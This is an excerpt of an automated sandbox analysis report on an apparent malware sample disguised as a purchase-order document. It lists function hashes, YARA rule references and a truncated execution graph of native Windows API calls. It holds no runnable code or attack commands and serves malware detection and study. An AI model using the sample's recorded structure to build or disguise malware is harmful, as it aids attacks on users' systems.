                                                                                                                                                                                                            • Instruction Fuzzy Hash: D9D0123614410C9F8F41FED5E840D57B7DCBB546007408866E508CB121E621E434D751
                                                                                                                                                                                                            Function 08911F37 Relevance: .0, Instructions: 12COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: fa252de01c08a369fa0370eddeb6fdfeee688aea190e8c972ba5a63d577c31c2
                                                                                                                                                                                                            • Instruction ID: 275dd579d7e28506ec365e886eef9bbc9bab3c44e0f3189ed50a197eaf230c66
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fa252de01c08a369fa0370eddeb6fdfeee688aea190e8c972ba5a63d577c31c2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C0D0923A040108EFCB11EF60E584C953BA2FFA9311B1581A5E5594F221CB32D595DF41
                                                                                                                                                                                                            Function 0891BB88 Relevance: .0, Instructions: 10COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: e2d96e1831f609de6fe61bb072e00432c711f6f59623b27acaafb8bde98b4762
                                                                                                                                                                                                            • Instruction ID: 87aa0c6b943cc5f1a33235b253359bad2dd03302d7b9b71f6e82ec8d50f35fcf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e2d96e1831f609de6fe61bb072e00432c711f6f59623b27acaafb8bde98b4762
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B2C08C70042208ABD61427A4B80E378336CE70521AF400024D60D01550CB791858D666
                                                                                                                                                                                                            Function 08910D35 Relevance: .0, Instructions: 10COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 32a6b4aa0395552d6cab72eb3d8d6046e861177d59be3818713f6376f25833ea
                                                                                                                                                                                                            • Instruction ID: e6aaa6c0044f1a0fb9f83788ce110609d1ce3530ddb4ce581c3874f0b492e598
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 32a6b4aa0395552d6cab72eb3d8d6046e861177d59be3818713f6376f25833ea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DED0C97189430EEEEF10AF84D919BAEBF70AB04305F200815E001B6450C7B61A849B91
                                                                                                                                                                                                            Function 08910D51 Relevance: .0, Instructions: 10COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 3b8c3f082608b79ea2bf6987281ff64760cdf2c2237439053502b8e8fea1781b
                                                                                                                                                                                                            • Instruction ID: 48436b97f458546688aef1b00f4f00350ccdd4acdb3ba7d41223acc413f544b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b8c3f082608b79ea2bf6987281ff64760cdf2c2237439053502b8e8fea1781b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7BD0C97489830EEEEF10AF90D919BAEBF70AB04305F200819E001B6450C7B61A849B91
                                                                                                                                                                                                            Function 089186E4 Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 3f24a952a15cfea5efccbee6af46d1b499cd210868aba8cd0b8ceb2dff4974da
                                                                                                                                                                                                            • Instruction ID: a52da250bd42a684d68477194f693d2409e3150655c3ae0a6369f0d977d975c3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3f24a952a15cfea5efccbee6af46d1b499cd210868aba8cd0b8ceb2dff4974da
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5BB0923955C604A2E81432A449D0A2BA812ABE1742B448C22B20424000C921982AA96F
                                                                                                                                                                                                            Function 08918EAF Relevance: .0, Instructions: 4COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: ac3a5687f19d17e6ba412b2b1ec7692d547b85b0b3e45fc415f61d62e2ad58fd
                                                                                                                                                                                                            • Instruction ID: f7da92196adb65ef5b23e2a586f618667118cc95bcd26142abfb5fd2134b4a15
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ac3a5687f19d17e6ba412b2b1ec7692d547b85b0b3e45fc415f61d62e2ad58fd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9490026E26454551754871608852A65541096F17457588021672570644C951D066903E

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 072C32A0 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 45f616f271ed645df272f51e27bccbca8b541175040971d5b42e8af1cc9337b6
                                                                                                                                                                                                            • Instruction ID: c4e5a15d9654dcb7366764501d59b2b8b7a7593391b2636e30273d12b32768b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 45f616f271ed645df272f51e27bccbca8b541175040971d5b42e8af1cc9337b6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 26E118B4E102198FDB14DFA9C580AAEFBB2BF89304F24C669D454AB356C731AD41CF61
                                                                                                                                                                                                            Function 072C10E8 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: fb8165587996304977b09dbef5f6a78112bfaf99cb89b8919ba76ee57008da08
                                                                                                                                                                                                            • Instruction ID: 14d9404f81c09f114e58b1eb69c318331c9bc928cb3070f1d9df0028e6d8317f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fb8165587996304977b09dbef5f6a78112bfaf99cb89b8919ba76ee57008da08
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 82E11AB4E102198FDB14DFA9C581AAEFBB2FF89304F248269D454AB356D7319D41CFA0
                                                                                                                                                                                                            Function 072C0CB0 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 3795b094f770ed106b514c1f770cdab7b4b7c1578f9c211da7f6d50a68d6d249
                                                                                                                                                                                                            • Instruction ID: 068092f89aff5b3afa5126a447f9d34a24329d7c743df42cb748f9f92af96117
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3795b094f770ed106b514c1f770cdab7b4b7c1578f9c211da7f6d50a68d6d249
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EDE128B4E102198FDB14DFA9C580AAEFBB6FF89300F248269D844AB355C731AD41CF61
                                                                                                                                                                                                            Function 072C0878 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 43099d93dba948b874c3b655a64523c01c79c6cabe62f505e945637444dfa9b6
                                                                                                                                                                                                            • Instruction ID: 2a37f8f114e1820833fe492f70f333daa107498cc20e7f545ca98dd484fbf262
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 43099d93dba948b874c3b655a64523c01c79c6cabe62f505e945637444dfa9b6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 37E109B4E10219CFDB14DFA9C980AAEFBB6BF89304F248269D454A7355D731AD41CFA0
                                                                                                                                                                                                            Function 072C28F0 Relevance: .3, Instructions: 312COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 2fd8a044655a1e472230b4563db20b887e795a9d9c03846f293bc188364847fe
                                                                                                                                                                                                            • Instruction ID: 099c845dc46cf12de7022ad82250ea8296eba93e6b070c81a212c8bfad1bee62
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2fd8a044655a1e472230b4563db20b887e795a9d9c03846f293bc188364847fe
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2CE1F8B4E10219CFDB14DFA9C580AAEBBF6BF89314F248269D454A7355CB31AD41CF60
                                                                                                                                                                                                            Function 012AE1F4 Relevance: .3, Instructions: 264COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 7ba9c61c0fc5b1bc3d084ba4d2b894999d37abe52381af258b980a6e131b0e4d
                                                                                                                                                                                                            • Instruction ID: c721cddbe4b9f67d3c670fdcfc06b49cca8c9bf77b28a2d955665f6cccb07ea3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7ba9c61c0fc5b1bc3d084ba4d2b894999d37abe52381af258b980a6e131b0e4d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 54A1B032E10206CFCF05DFB4C9905EEBBB2FF84300B55456AE905AB265DB35E956CB80
                                                                                                                                                                                                            Function 072C328F Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: aba48c4f2dea2b2942cda6fc7048f6324ddd7dcfa625e9edb0881ede2718987f
                                                                                                                                                                                                            • Instruction ID: 4b522b04c6b5bf2ef8845a79a2df22843a064100e6da4a360b6bfa9377e82cc4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: aba48c4f2dea2b2942cda6fc7048f6324ddd7dcfa625e9edb0881ede2718987f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9B512AB0E102198FDB14CFA9C5805AEBBF6BF89210F24C66AD448AB356D7359D41CFA1
                                                                                                                                                                                                            Function 072C28E2 Relevance: .1, Instructions: 133COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 5d0f828cdfdad2e6573b6534af5c180a7bc30edfd86f2b564fdec0118bd78464
                                                                                                                                                                                                            • Instruction ID: bf8f21b372e210679484d0eecf070fcb1ac1b25277ae1f75d9ca6c3a27cefe86
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5d0f828cdfdad2e6573b6534af5c180a7bc30edfd86f2b564fdec0118bd78464
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BE510CB0E102198FDB14CFA9C5805AEFBF6BF89314F2481A9D458A7355DB319E41CF61
                                                                                                                                                                                                            Function 08917B22 Relevance: .1, Instructions: 123COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 75c099896ab41d3dc42aa77491af4a6da0d95c16c5d079b1028223cc05be0e8f
                                                                                                                                                                                                            • Instruction ID: bde5681ec143f5ed9b38992af389aa2ef84d01e134d0a501a1b63fc825e41266
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 75c099896ab41d3dc42aa77491af4a6da0d95c16c5d079b1028223cc05be0e8f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D1519475E056199FEB58CF9AC98079DFBF2BF89300F14C4AAD409AB318DB3059858F10
                                                                                                                                                                                                            Function 072C5C61 Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 636cd3b2774eace35fbf405ffe1df79aab5242809a5babf7c63bb42aa82b106a
                                                                                                                                                                                                            • Instruction ID: 510e99075cd2b5ef83c280dd221acb2dee48782cdf1af94568e2af37b5d6fdd7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 636cd3b2774eace35fbf405ffe1df79aab5242809a5babf7c63bb42aa82b106a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 39C09B76DBF004D7CA108D8571050FCF73CD39F167F517265D71FB341556A1825485A4

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:1.3%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:2.7%
                                                                                                                                                                                                            Signature Coverage:6%
                                                                                                                                                                                                            Total number of Nodes:549
                                                                                                                                                                                                            Total number of Limit Nodes:70
                                                                                                                                                                                                            execution_graph 99311 41f080 99312 41f08b 99311->99312 99314 41b930 99311->99314 99315 41b956 99314->99315 99322 409d30 99315->99322 99317 41b962 99318 41b983 99317->99318 99330 40c1b0 99317->99330 99318->99312 99320 41b975 99366 41a670 99320->99366 99323 409d3d 99322->99323 99369 409c80 99322->99369 99325 409d44 99323->99325 99381 409c20 99323->99381 99325->99317 99331 40c1d5 99330->99331 99790 40b1b0 99331->99790 99333 40c22c 99794 40ae30 99333->99794 99335 40c4a3 99335->99320 99336 40c252 99336->99335 99803 414390 99336->99803 99338 40c297 99338->99335 99806 408a60 99338->99806 99340 40c2db 99340->99335 99813 41a4c0 99340->99813 99344 40c331 99345 40c338 99344->99345 99825 419fd0 99344->99825 99346 41bd80 2 API calls 99345->99346 99348 40c345 99346->99348 99348->99320 99350 40c382 99351 41bd80 2 API calls 99350->99351 99352 40c389 99351->99352 99352->99320 99353 40c392 99354 40f490 3 API calls 99353->99354 99355 40c406 99354->99355 99355->99345 99356 40c411 99355->99356 99357 41bd80 2 API calls 99356->99357 99358 40c435 99357->99358 99830 41a020 99358->99830 99361 419fd0 2 API calls 99362 40c470 99361->99362 99362->99335 99835 419de0 99362->99835 99365 41a670 2 API calls 99365->99335 99367 41af20 LdrLoadDll 99366->99367 99368 41a68f ExitProcess 99367->99368 99368->99318 99370 409c93 99369->99370 99420 418b80 LdrLoadDll 99369->99420 99400 418a30 99370->99400 99373 409ca6 99373->99323 99374 409c9c 99374->99373 99403 41b270 99374->99403 99376 409ce3 99376->99373 99414 409aa0 99376->99414 99378 409d03 99421 409620 LdrLoadDll 99378->99421 99380 409d15 99380->99323 99382 409c3a 99381->99382 99383 41b560 LdrLoadDll 99381->99383 99764 41b560 99382->99764 99383->99382 99386 41b560 LdrLoadDll 99387 409c61 99386->99387 99388 40f170 99387->99388 99389 40f189 99388->99389 99773 40b030 99389->99773 99391 40f19c 99777 41a1a0 99391->99777 99395 40f1c2 99399 40f1ed 99395->99399 99783 41a220 99395->99783 99396 41a450 2 API calls 99398 409d55 99396->99398 99398->99317 99399->99396 99422 41a5c0 99400->99422 99404 41b289 99403->99404 99435 414a40 99404->99435 99406 41b2a1 99407 41b2aa 99406->99407 99474 41b0b0 99406->99474 99407->99376 99409 41b2be 99409->99407 99492 419ec0 99409->99492 99742 407ea0 99414->99742 99416 409ac1 99416->99378 99417 409aba 99417->99416 99755 408160 99417->99755 99420->99370 99421->99380 99425 41af20 99422->99425 99424 418a45 99424->99374 99426 41af30 99425->99426 99427 41af52 99425->99427 99429 414e40 99426->99429 99427->99424 99430 414e5a 99429->99430 99431 414e4e 99429->99431 99430->99427 99431->99430 99434 4152c0 LdrLoadDll 99431->99434 99433 414fac 99433->99427 99434->99433 99436 414d75 99435->99436 99438 414a54 99435->99438 99436->99406 99438->99436 99500 419c10 99438->99500 99440 414b80 99503 41a320 99440->99503 99441 414b63 99560 41a420 LdrLoadDll 99441->99560 99444 414b6d 99444->99406 99445 414ba7 99446 41bd80 2 API calls 99445->99446 99448 414bb3 99446->99448 99447 414d39 99450 41a450 2 API calls 99447->99450 99448->99444 99448->99447 99449 414d4f 99448->99449 99454 414c42 99448->99454 99569 414780 LdrLoadDll NtReadFile NtClose 99449->99569 99451 414d40 99450->99451 99451->99406 99453 414d62 99453->99406 99455 414ca9 99454->99455 99457 414c51 99454->99457 99455->99447 99456 414cbc 99455->99456 99562 41a2a0 99456->99562 99458 414c56 99457->99458 99459 414c6a 99457->99459 99561 414640 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 99458->99561 99462 414c87 99459->99462 99463 414c6f 99459->99463 99462->99451 99518 414400 99462->99518 99506 4146e0 99463->99506 99466 414c60 99466->99406 99468 414d1c 99566 41a450 99468->99566 99469 414c7d 99469->99406 99472 414c9f 99472->99406 99473 414d28 99473->99406 99475 41b0c1 99474->99475 99476 41b0d3 99475->99476 99587 41bd00 99475->99587 99476->99409 99478 41b0f4 99590 414060 99478->99590 99480 41b140 99480->99409 99481 41b117 99481->99480 99482 414060 3 API calls 99481->99482 99484 41b139 99482->99484 99484->99480 99615 415380 99484->99615 99485 41b1ca 99486 41b1da 99485->99486 99709 41aec0 LdrLoadDll 99485->99709 99625 41ad30 99486->99625 99489 41b208 99704 419e80 99489->99704 99493 41af20 LdrLoadDll 99492->99493 99494 419edc 99493->99494 99736 15e2c0a 99494->99736 99495 419ef7 99497 41bd80 99495->99497 99498 41b319 99497->99498 99739 41a630 99497->99739 99498->99376 99501 41af20 LdrLoadDll 99500->99501 99502 414b34 99500->99502 99501->99502 99502->99440 99502->99441 99502->99444 99504 41a33c NtCreateFile 99503->99504 99505 41af20 LdrLoadDll 99503->99505 99504->99445 99505->99504 99507 4146fc 99506->99507 99508 41a2a0 LdrLoadDll 99507->99508 99509 41471d 99508->99509 99510 414724 99509->99510 99511 414738 99509->99511 99512 41a450 2 API calls 99510->99512 99513 41a450 2 API calls 99511->99513 99514 41472d 99512->99514 99515 414741 99513->99515 99514->99469 99570 41bf90 LdrLoadDll RtlAllocateHeap 99515->99570 99517 41474c 99517->99469 99519 41444b 99518->99519 99520 41447e 99518->99520 99522 41a2a0 LdrLoadDll 99519->99522 99521 4145c9 99520->99521 99525 41449a 99520->99525 99524 41a2a0 LdrLoadDll 99521->99524 99523 414466 99522->99523 99526 41a450 2 API calls 99523->99526 99530 4145e4 99524->99530 99527 41a2a0 LdrLoadDll 99525->99527 99528 41446f 99526->99528 99529 4144b5 99527->99529 99528->99472 99532 4144d1 99529->99532 99533 4144bc 99529->99533 99583 41a2e0 LdrLoadDll 99530->99583 99536 4144d6 99532->99536 99540 4144ec 99532->99540 99535 41a450 2 API calls 99533->99535 99534 41461e 99537 41a450 2 API calls 99534->99537 99538 4144c5 99535->99538 99539 41a450 2 API calls 99536->99539 99541 414629 99537->99541 99538->99472 99542 4144df 99539->99542 99545 4144f1 99540->99545 99571 41bf50 99540->99571 99541->99472 99542->99472 99554 414503 99545->99554 99574 41a3d0 99545->99574 99546 414557 99547 41456e 99546->99547 99582 41a260 LdrLoadDll 99546->99582 99549 414575 99547->99549 99550 41458a 99547->99550 99552 41a450 2 API calls 99549->99552 99551 41a450 2 API calls 99550->99551 99553 414593 99551->99553 99552->99554 99555 4145bf 99553->99555 99577 41bb50 99553->99577 99554->99472 99555->99472 99557 4145aa 99558 41bd80 2 API calls 99557->99558 99559 4145b3 99558->99559 99559->99472 99560->99444 99561->99466 99563 414d04 99562->99563 99564 41af20 LdrLoadDll 99562->99564 99565 41a2e0 LdrLoadDll 99563->99565 99564->99563 99565->99468 99567 41a46c NtClose 99566->99567 99568 41af20 LdrLoadDll 99566->99568 99567->99473 99568->99567 99569->99453 99570->99517 99573 41bf68 99571->99573 99584 41a5f0 99571->99584 99573->99545 99575 41af20 LdrLoadDll 99574->99575 99576 41a3ec NtReadFile 99575->99576 99576->99546 99578 41bb74 99577->99578 99579 41bb5d 99577->99579 99578->99557 99579->99578 99580 41bf50 2 API calls 99579->99580 99581 41bb8b 99580->99581 99581->99557 99582->99547 99583->99534 99585 41af20 LdrLoadDll 99584->99585 99586 41a60c RtlAllocateHeap 99585->99586 99586->99573 99588 41bd2d 99587->99588 99710 41a500 99587->99710 99588->99478 99591 414071 99590->99591 99593 414079 99590->99593 99591->99481 99592 41434c 99592->99481 99593->99592 99713 41cef0 99593->99713 99595 4140cd 99596 41cef0 2 API calls 99595->99596 99599 4140d8 99596->99599 99597 414126 99600 41cef0 2 API calls 99597->99600 99599->99597 99718 41cf90 99599->99718 99601 41413a 99600->99601 99602 41cef0 2 API calls 99601->99602 99604 4141ad 99602->99604 99603 41cef0 2 API calls 99612 4141f5 99603->99612 99604->99603 99606 414324 99725 41cf50 LdrLoadDll RtlFreeHeap 99606->99725 99608 41432e 99726 41cf50 LdrLoadDll RtlFreeHeap 99608->99726 99610 414338 99727 41cf50 LdrLoadDll RtlFreeHeap 99610->99727 99724 41cf50 LdrLoadDll RtlFreeHeap 99612->99724 99613 414342 99728 41cf50 LdrLoadDll RtlFreeHeap 99613->99728 99616 415391 99615->99616 99617 414a40 8 API calls 99616->99617 99619 4153a7 99617->99619 99618 4153fa 99618->99485 99619->99618 99620 4153e2 99619->99620 99621 4153f5 99619->99621 99623 41bd80 2 API calls 99620->99623 99622 41bd80 2 API calls 99621->99622 99622->99618 99624 4153e7 99623->99624 99624->99485 99626 41ad44 99625->99626 99627 41abf0 LdrLoadDll 99625->99627 99729 41abf0 99626->99729 99627->99626 99630 41abf0 LdrLoadDll 99631 41ad56 99630->99631 99632 41abf0 LdrLoadDll 99631->99632 99633 41ad5f 99632->99633 99634 41abf0 LdrLoadDll 99633->99634 99635 41ad68 99634->99635 99636 41abf0 LdrLoadDll 99635->99636 99637 41ad71 99636->99637 99638 41abf0 LdrLoadDll 99637->99638 99639 41ad7d 99638->99639 99640 41abf0 LdrLoadDll 99639->99640 99641 41ad86 99640->99641 99642 41abf0 LdrLoadDll 99641->99642 99643 41ad8f 99642->99643 99644 41abf0 LdrLoadDll 99643->99644 99645 41ad98 99644->99645 99646 41abf0 LdrLoadDll 99645->99646 99647 41ada1 99646->99647 99648 41abf0 LdrLoadDll 99647->99648 99649 41adaa 99648->99649 99650 41abf0 LdrLoadDll 99649->99650 99651 41adb6 99650->99651 99652 41abf0 LdrLoadDll 99651->99652 99653 41adbf 99652->99653 99654 41abf0 LdrLoadDll 99653->99654 99655 41adc8 99654->99655 99656 41abf0 LdrLoadDll 99655->99656 99657 41add1 99656->99657 99658 41abf0 LdrLoadDll 99657->99658 99659 41adda 99658->99659 99660 41abf0 LdrLoadDll 99659->99660 99661 41ade3 99660->99661 99662 41abf0 LdrLoadDll 99661->99662 99663 41adef 99662->99663 99664 41abf0 LdrLoadDll 99663->99664 99665 41adf8 99664->99665 99666 41abf0 LdrLoadDll 99665->99666 99667 41ae01 99666->99667 99668 41abf0 LdrLoadDll 99667->99668 99669 41ae0a 99668->99669 99670 41abf0 LdrLoadDll 99669->99670 99671 41ae13 99670->99671 99672 41abf0 LdrLoadDll 99671->99672 99673 41ae1c 99672->99673 99674 41abf0 LdrLoadDll 99673->99674 99675 41ae28 99674->99675 99676 41abf0 LdrLoadDll 99675->99676 99677 41ae31 99676->99677 99678 41abf0 LdrLoadDll 99677->99678 99679 41ae3a 99678->99679 99680 41abf0 LdrLoadDll 99679->99680 99681 41ae43 99680->99681 99682 41abf0 LdrLoadDll 99681->99682 99683 41ae4c 99682->99683 99684 